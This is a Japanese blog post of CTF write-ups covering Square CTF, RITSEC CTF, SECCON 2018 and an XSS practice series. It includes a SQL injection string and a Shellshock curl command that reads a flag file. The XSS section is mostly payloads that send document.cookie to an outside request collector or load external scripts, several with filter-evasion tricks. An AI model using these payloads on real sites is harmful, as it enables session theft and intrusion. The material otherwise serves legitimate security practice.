眠気

戯言とメモ

writeup

いくつか参加して簡単な問題だけ解いてました。

Square CTF

ratingがスゴかった…

dot-n-dash

メチャクチャ雑にデコード処理を書いた

function _decode(input) {
  let q = input.split(".").map(a=>a.length)
  let b = Array(Math.max.apply(null, q)).fill("0");
  q.map(a=>{
    b[a] = "1";
  })
  let s = b.reverse().join("")
  let res = ""
  for(let i=0;i<b.length/8;i++){
    let bin = s.substr(i*8,7)
    res += String.fromCharCode(parseInt(bin, 2))
  }
  return res;
}

de-anonymization

メチャクチャ雑にcsvをくっつける処理を書いた solv.rb · GitHub

RITSEC CTF

I am a Stegosaurus

pngcheckしておかしいところを直す

$ docker run -it --rm -v $(pwd)/data:/data dominicbreuker/stego-toolkit /bin/bash

root@9607f1955a31:/data# pngcheck -v stegosaurus.png
File: stegosaurus.png (198269 bytes)
  chunk IHDR at offset 0x0000c, length 13
    309 x 232 image, 24-bit RGB, non-interlaced
  CRC error in chunk IHDR (computed 01aae416, expected 93cf1eca)
ERRORS DETECTED in stegosaurus.png


$> hexdump data/stegosaurusのコピー.png | head
0000000 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52
0000010 00 00 01 35 00 00 00 e8 08 02 00 00 00 93 cf 1e
0000020 ca 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00

$> hexdump data/stegosaurusのコピー.png | head
0000000 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52
0000010 00 00 01 35 00 00 00 e8 08 02 00 00 00 01 aa e4
0000020 16 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00

Special Force

sqli

' or 1 = 1 ; -- '

What a cute dog!

shellshock

curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'cat /opt/flag.txt'" http://fun.ritsec.club:8008/cgi-bin/stats

writeup

色々あって色々アレでした。

一度も更新しないまま2018年も終わりかけているのでとりあえず…


SECCON 2018 Online CTF

参加してました

チームで参加したため、自分として解けた問題がとても少ないですが

以下writeupです。

Runme

こういう、stringsではflagは見えないけどバイナリに平文でフラグが置いてるやつかどうかを確認するスクリプト

以前適当に書いていたので、

とりあえず実行したらありそうだったので、objdumpしてフラグっぽい部分をawkしただけでした。

$ cat megrep.rb
b = STDIN.read.scrub('')
d = b.split('').select{|b|b =~ /^[a-zA-Z0-9{}_]+$/}
flagType = "SECCON".split("")
res = ""
100.times do |i|
    reg =Regexp.new flagType.map{|t| "#{t}.{0,#{i.to_s}}"}.join("") + "\\{(\\w+)\\}"
    if r = d.join("").match(reg)
        puts "Detect flag!!!"
        p r[0]
        return
    end
end

$ cat runme.exe | ruby megrep.rb
Detect flag!!!
"SUVMU9UBRjEUVMU9UBRjCUVMU9UBRjCUVMU9UBRjOUVMU9mUBRjNUVMU9AUBRj{UVMU9UBRjRUVMU9UBRjuUVMU9UBRjnUVMU9UBRjnUVMU9eUBRj1UVMU99UBRjnUVMU9UBRj6UVMU9UBRj_UVMU9UBRjPUVMU9UBRj4UVMU9ua0UBRj7UVMU9u91UBRjhUVMU9u2UBRj}"
objdump -d runme.exe | awk '/6a /{printf "%c",strtonum("0x"$3)}'
"@C:\Temp\SECCON2018Online.exe" SECCON{Runn1n6_P47h}@%

フラグ出すところまで自動化したいけど、あんまり使い道がないので放置…

block

apkのdllをいじるだけ。

ildasmで以下の部分を編集 f:id:lailaiskyn:20181102190949p:plain

Transform以下にVector3を引数に取るやつを探すとTranslateがあるので変えてdllに変換

Unity - Scripting API: Transform

msilの編集は以下が参考になります

qiita.com

あとはAPK Editorでdllを変えたapkをインストールして実行

手前に飛んでくるフラグをスクショを取りまくって確認していました。

f:id:lailaiskyn:20181102192033j:plain

shooter

il2cppキツイなあと思い、global-metadata.datを眺めてただけ。

http://staging.shooter.pwn.seccon.jp/adminSQL injectionがあることまでは分かっていたけど、

web問じゃないし流石にないか…とか思ってたら終わった…阿呆でした

解けたweb問が解けなかったのをとても反省した…

来年はもうちょっと解けるようにしたい。

そんな希望

katagaitaiCTF勉強会 xss千本ノック writeup

楽しかったです

全部解けるようがんばります…がんばりたい…

2

やるだけ

q=%22%3E%3Cscript%3Elocation.href=%22https://requestb.in/x0u1ovx0?f3=%22%20%2B%20document.cookie%3C/script%3E

3

やるだけ

q=%22%3E%3Cscript%3Elocation.href=%22https://requestb.in/x0u1ovx0?f3=%22%20%2B%20document.cookie%3C/script%3E

4

textareaを閉じる

q=</textarea><script>location.href='https://requestb.in/x0u1ovx0?f3='%20%2B%20document.cookie</script>

5

autofocus

q=%22%20 autofocus onfocus=%22location.href=%27https://requestb.in/x0u1ovx0?f5_=%27%20%2B%20document.cookie

6

%27で閉じる

q=!%22%27%20 autofocus onfocus=location.href='https://requestb.in/x0u1ovx0?f6='%2Bdocument.cookie;//

7

autofocus q=1%20autofocus%20onfocus=location.href=%27https://requestb.in/x0u1ovx0?f7=%27%2Bdocument.cookie;//

8

iframeのsrcをjavascript:

q=javascript:location.href=%22https://requestb.in/x0u1ovx0?f8=%22%20%2B%20document.cookie

9

scriptタグ

q=%3Cscript%3Elocation.href=%22https://requestb.in/x0u1ovx0?f9=%22%20%2B%20document.cookie%3C/script%3E

10

scriptが消えるのでいっぱいscriptを書く

q=%3Cscrscriptiscriptpscriptt%3Elocation.href=%22https://requestb.in/x0u1ovx0?f10=%22%20%2B%20document.cookie%3C/scrscriptiscriptpscriptt%3E

11,12

scriptが消えるのでonloadに挟む

q=%3Csvg%20oscriptnload=location.href=%27https://requestb.in/x0u1ovx0?f11=%27%2Bdocument.cookie%20%27%20%3E

13

alert()を閉じる

q=%27);location.href=%22https://requestb.in/x0u1ovx0?%22%2Bdocument.cookie;//

14

外部スクリプトを作って読む

q=%3Cscript%20src=http://aviavi.ga/ajs%3E%3C/script%3E

15

大文字の外部スクリプトを作って読む HTTP://ドメインの部分は大文字小文字関係なく繋がる

q=%3Cscript%20src=http://aviavi.ga/AJS%3E%3C/script%3E

16

.が使えないのでbase64でevalする

q=%3Cscript%3Eeval(atob('bG9jYXRpb24uaHJlZj0iaHR0cHM6Ly9yZXF1ZXN0Yi5pbi94MHUxb3Z4MD9mMz0iICsgZG9jdW1lbnQuY29va2ll'))%3C/script%3E

17

‘が使えないのでバッククォートを使う

q=%3Cscript%3Eeval(atob(`bG9jYXRpb24uaHJlZj0iaHR0cHM6Ly9yZXF1ZXN0Yi5pbi94MHUxb3Z4MD9mMz0iICsgZG9jdW1lbnQuY29va2ll`))%3C/script%3E

18,19

scriptタグにbase64を使う

q=%3C/script%3E%3Cscript%20src=%27data:text/html;base64,bG9jYXRpb24uaHJlZj0iaHR0cHM6Ly9yZXF1ZXN0Yi5pbi94MHUxb3Z4MD9mMz0iK2RvY3VtZW50LmNvb2tpZQ==%27%3E%3C/script%3E

20

scriptタグでhashをevalする

q=%3Csvg%20onload=eval(URL.slice(105))%3E#location["href"]="https://requestb.in/x0u1ovx0?f3="+document.cookie

21

svg onloadでhashをeval .が使えないのでlocation[“href”]にする

q=%22%3E%3Cimg%3E//onload=eval(URL.slice(127));%20//a%20//src=/#location["href"]="https://requestb.in/x0u1ovx0?f3="+document.cookie

22,23

hashをeval

q=%3Csvg%20//%20onload=eval(URL.slice(112))%3E//#location.href="https://requestb.in/x0u1ovx0?f3="+document.cookie

24

documentがnullなのでwindowを使う q=location.href=%22https://requestb.in/x0u1ovx0?f3=%22%2Bwindow.document.cookie

25~28

windowもnullなのでthisとかtopを使う

q=location.href=%22https://requestb.in/x0u1ovx0?f3=%22%2Bthis.document.cookie

q=location.href=%22https://requestb.in/x0u1ovx0?f3=%22%2Btop.document.cookie

29

imgタグを閉じずに読ませる q=aa%3C/p%3E%3Cp%3E%3Cimg%20%3Cimg%20%20%20src=%22https://requestb.in/x0u1ovx0?

30

クォートと.が使えないのでhashの文字列を連結させてがんばる

q=location[`href`]=location[`hash`][1]%2Blocation[`hash`][2]%2Blocation[`hash`][3]%2Blocation[`hash`][4]%2Blocation[`hash`][5]%2Blocation[`hash`][6]%2Blocation[`hash`][7]%2Blocation[`hash`][8]%2Blocation[`hash`][9]%2Blocation[`hash`][10]%2Blocation[`hash`][11]%2Blocation[`hash`][12]%2Blocation[`hash`][13]%2Blocation[`hash`][14]%2Blocation[`hash`][15]%2Blocation[`hash`][16]%2Blocation[`hash`][17]%2Blocation[`hash`][18]%2Blocation[`hash`][19]%2Blocation[`hash`][20]%2Blocation[`hash`][21]%2Blocation[`hash`][22]%2Blocation[`hash`][23]%2Blocation[`hash`][24]%2Blocation[`hash`][25]%2Blocation[`hash`][26]%2Blocation[`hash`][27]%2Blocation[`hash`][28]%2B`?`%2Bdocument[`cookie`]#https://requestb.in/x0u1ovx0

31

document.write()を閉じる

q=%27);location.href=%27https://requestb.in/x0u1ovx0?%27%2Bdocument.cookie;//

32

一つ目のパラメータでエスケープで閉じさせなくする

q1=\&q2=,location.href=`https://requestb.in/x0u1ovx0?`%2Bdocument.cookie//

33

blink()でblinkタグを作りsvgを入れる

q=%22%3Csvg%20onload=location.href=%27https://requestb.in/x0u1ovx0?%27%2Bdocument.cookie;%3E%22.blink()

34

typeを上書きしてhiddenさせなくする

q=%22%20onfocus=location.href=`https://requestb.in/x0u1ovx0?`%2Bdocument.cookie%20type=text%20autofocus%20a

35

改行コード %0a q=%0Alocation.href=`https://requestb.in/x0u1ovx0?`%2Bdocument.cookie

36

改行コード %0A%0D q=%0A%0Dlocation.href=`https://requestb.in/x0u1ovx0?`%2Bdocument.cookie

37

改行コード %0A%0D%E2%80%A8 q=%0A%0D%E2%80%A8location.href=`https://requestb.in/x0u1ovx0?`%2Bdocument.cookie

38

改行コード %0A%0D%E2%80%A8%E2%E2%80%A8%80%A8

q=%0A%0D%E2%80%A8%E2%E2%80%A8%80%A8location.href=`https://requestb.in/x0u1ovx0?`%2Bdocument.cookie

39

%E2%80%A8が消されるのでいっぱい突っ込む

q=%0A%0D%E2%80%A8%E2%E2%80%A8%80%A8location.href=`https://requestb.in/x0u1ovx0?`%2Bdocument.cookie

40

バッククォートでauditor回避

q1=%3Cscript%3E`&q2=a`;location.href=`https://requestb.in/x0u1ovx0?`%2Bdocument.cookie;%3C/script%3E`

41

ハッシュをeval

q=%3Cscript%3Eeval(eval(location.href.substr(-92)))%3C/script#atob("bG9jYXRpb24uaHJlZj1gaHR0cHM6Ly9yZXF1ZXN0Yi5pbi94MHUxb3Z4MD9gK2RvY3VtZW50LmNvb2tpZTs=")

42,43

base64をeval

q=%3Csvg%20onload=eval(atob(`bG9jYXRpb24uaHJlZj1gaHR0cHM6Ly9yZXF1ZXN0Yi5pbi94MHUxb3Z4MD9gK2RvY3VtZW50LmNvb2tpZTs=`))%3E

44

全部エスケープされてて無理じゃんってなった

& => &amp;
' => &#039;
" => &quot;
> => &gt;
< => &lt;
!$%[@:][{}*`+}()~=`$

phpの問題だった

formのurlに$_SERVER[‘PHP_SELF’]を使っている

それとdom clobberingでdocument.bodyを書き換える

~~.knock.xss.moe//index.php/%22%20name=body%20%3E%3Cinput%20value=%22?q=%3Csvg%20onload=eval(atob(`bG9jYXRpb24uaHJlZj1gaHR0cHM6Ly9yZXF1ZXN0Yi5pbi9waHdxNWRwaD9gK2RvY3VtZW50LmNvb2tpZTs=`))%3E

45

ダメ